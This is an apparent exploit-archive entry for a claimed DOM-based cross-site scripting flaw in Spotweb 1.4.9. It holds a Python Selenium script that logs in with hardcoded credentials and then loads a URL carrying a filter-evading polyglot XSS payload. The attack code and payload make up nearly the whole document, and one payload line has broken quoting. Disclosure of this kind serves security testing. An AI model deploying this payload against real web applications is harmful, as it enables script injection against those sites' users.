65 lines
No EOL
2 KiB
Text
65 lines
No EOL
2 KiB
Text
# Exploit Title: Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS)
|
|
# Exploit Author: @nu11secur1ty
|
|
# Date: 05.20.2021
|
|
# Software Link: https://github.com/spotweb/spotweb
|
|
# Proof: https://streamable.com/hix5o1
|
|
|
|
[+] Exploit Source:
|
|
#!/usr/bin/python3
|
|
# Author: @nu11secur1ty
|
|
|
|
from selenium import webdriver
|
|
import time
|
|
import os, sys
|
|
|
|
|
|
# Vendor: https://www.nzbserver.com/
|
|
# Jump over login form :D
|
|
website_link="http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"
|
|
|
|
# enter your login username
|
|
username="nu11secur1ty"
|
|
|
|
# enter your login password
|
|
password="password"
|
|
|
|
#enter the element for username input field
|
|
element_for_username="loginform[username]"
|
|
|
|
#enter the element for password input field
|
|
element_for_password="loginform[password]"
|
|
|
|
#enter the element for submit button
|
|
element_for_submit="loginform[submitlogin]"
|
|
|
|
|
|
#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
|
|
browser = webdriver.Chrome() #uncomment this line,for chrome users
|
|
#browser = webdriver.Firefox() #uncomment this line,for chrome users
|
|
|
|
time.sleep(3)
|
|
browser.get((website_link))
|
|
|
|
try:
|
|
username_element = browser.find_element_by_name(element_for_username)
|
|
username_element.send_keys(username)
|
|
password_element = browser.find_element_by_name(element_for_password)
|
|
password_element.send_keys(password)
|
|
signInButton = browser.find_element_by_name(element_for_submit)
|
|
signInButton.click()
|
|
|
|
# Exploit Cross Site Scripting (DOM Based)
|
|
# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
|
|
|
time.sleep(1)
|
|
# Payload link "esc-rule"
|
|
browser.get(("http://192.168.1.160/spotweb-develop#jaVasCript:/*-/*`/*\`/*'/*"'/**/(/**/oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'""))
|
|
|
|
print("The payload is deployed DOM is BOMing you ':))'...\n")
|
|
os.system('pause')
|
|
|
|
browser.close()
|
|
|
|
except Exception:
|
|
#### This exception occurs if the element are not found in the webpage.
|
|
print("DOM...") |